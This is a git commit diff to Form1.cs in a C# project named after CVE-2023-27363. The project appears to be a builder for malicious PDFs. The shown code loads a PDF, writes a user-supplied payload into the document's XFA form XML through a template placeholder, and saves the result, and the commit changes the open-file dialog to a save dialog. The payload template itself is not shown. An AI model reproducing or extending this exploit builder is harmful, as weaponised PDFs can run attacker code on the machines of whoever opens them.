Update Form1.cs
This commit is contained in:
parent
3eda11502a
commit
2ab4012815
|
@ -35,11 +35,12 @@ namespace CVE_2023_27363
|
||||||
document.Close();
|
document.Close();
|
||||||
Document doc = new Document(stream);
|
Document doc = new Document(stream);
|
||||||
doc.Form.XFA.XDP.InnerXml = Properties.Resources.String1.Replace("%payload%",textBox1.Text);
|
doc.Form.XFA.XDP.InnerXml = Properties.Resources.String1.Replace("%payload%",textBox1.Text);
|
||||||
OpenFileDialog openFileDialog = new OpenFileDialog();
|
SaveFileDialog saveFileDialog = new SaveFileDialog();
|
||||||
openFileDialog.Multiselect = false;
|
saveFileDialog.InitialDirectory = Application.StartupPath;
|
||||||
openFileDialog.Filter = "(*.pdf)|*.pdf";
|
saveFileDialog.OverwritePrompt = false;
|
||||||
if (openFileDialog.ShowDialog() == DialogResult.OK)
|
saveFileDialog.Filter = "(*.pdf)|*.pdf";
|
||||||
doc.Save(openFileDialog.FileName);
|
if (saveFileDialog.ShowDialog() == DialogResult.OK)
|
||||||
|
doc.Save(saveFileDialog.FileName);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue